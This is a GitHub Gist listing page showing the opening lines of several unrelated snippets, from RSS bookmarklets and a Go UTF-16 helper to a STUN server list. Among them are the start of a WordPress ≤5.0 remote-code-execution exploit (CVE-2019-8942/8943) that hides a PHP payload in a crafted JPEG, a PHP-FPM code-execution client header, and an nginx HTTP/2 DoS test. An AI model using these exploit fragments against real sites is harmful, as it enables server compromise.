Skip to content

Instantly share code, notes, and snippets.

# Empty headers in HTTP/2 streams can cause DoS. A test based on http://hg.nginx.org/nginx-tests .
# Takes around 8 seconds without the patch at https://github.com/nginx/nginx/commit/6dfbc8b1c2116f362bb871efebbf9df576738e89
# Start 2019-08-14 1565776248
# End 2019-08-14 1565776256
# https://www.nginx.com/blog/nginx-updates-mitigate-august-2019-http-2-vulnerabilities/
use POSIX qw/strftime/;
print "Start ", strftime('%Y-%m-%d %s',localtime), " \n";
$s = Test::Nginx::HTTP2->new();
@MattPD
MattPD / analysis.draft.md
Last active May 14, 2025 02:29
Program Analysis Resources (WIP draft)
@allyshka
allyshka / wordpress-rce.js
Created March 1, 2019 22:51
WordPress <= 5.0 exploit code for CVE-2019-8942 & CVE-2019-8943
var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
@ttttmr
ttttmr / RSS_to_Clipboard.js
Last active June 8, 2019 10:44
一键复制RSS,相关:一键订阅到Inoreader https://gist.github.com/ttttmr/577acf8a7ddf97c8972a6132a15e238a
javascript: (function () {
let rsshub_host = 'https://rsshub.app';
let lilydjwg_host = 'https://rss.lilydjwg.me';
let cnblog = 'https://www.cnblogs.com/';
let csdn = 'https://blog.csdn.net/';
let feed43 = 'https://feed43.com';
let jianshu_user = '/jianshu/user/';
let zhihu_user = '/zhihu/people/activities/';
let zhihu_zhuanlan = '/zhihu/zhuanlan/';
@Bablzz
Bablzz / utf16.go
Last active February 9, 2024 06:58
Convert string UTF-8 to UTF-16LE golang
const BOM = '\ufffe' //LE. for BE '\ufeff'
func createFile(name string) error {
var bytes [2]byte
data := `test string UTF-8`
file, err := os.Create(name)
if err != nil {
fmt.Errorf("Can't open file. %v", err)
return err
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
PORT_NUMBER = 31337
class myHandler(BaseHTTPRequestHandler):
#Handler for the GET requests
def do_GET(self):
self.send_response(200)
@ttttmr
ttttmr / RSS_to_Inoreader.js
Last active March 6, 2023 17:02
一键订阅到Inoreader,相关:一键复制RSS https://gist.github.com/ttttmr/d44e40e92abb4966edcdee2e09fe8ffc
javascript: (function () {
let rsshub_host = 'https://rsshub.app';
let cnblog = 'https://www.cnblogs.com/';
let csdn = 'https://blog.csdn.net/';
let jianshu_user = '/jianshu/user/';
let zhihu_user = '/zhihu/people/activities/';
let zhihu_collection = '/zhihu/collection/';
let bilibili_user = '/bilibili/user/video/';
let jike_topic = '/jike/topic/';
@phith0n
phith0n / fpm.py
Last active June 3, 2025 01:39
Fastcgi PHP-FPM Client && Code Execution
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
@sagivo
sagivo / gist:3a4b2f2c7ac6e1b5267c2f1f59ac6c6b
Last active May 27, 2025 10:25
webRTC stun / turn server list
to check if the server works - https://webrtc.github.io/samples/src/content/peerconnection/trickle-ice
stun:
stun.l.google.com:19302,
stun1.l.google.com:19302,
stun2.l.google.com:19302,
stun3.l.google.com:19302,
stun4.l.google.com:19302,
stun.ekiga.net,
stun.ideasip.com,
@wavezhang
wavezhang / java_download.sh
Last active May 20, 2025 12:46
download java from oracle without login
wget -c --no-cookies --no-check-certificate --header "Cookie: oraclelicense=accept-securebackup-cookie" https://download.oracle.com/otn-pub/java/jdk/12.0.2+10/e482c34c86bd4bf8b56c0b35558996b9/jdk-12.0.2_linux-x64_bin.tar.gz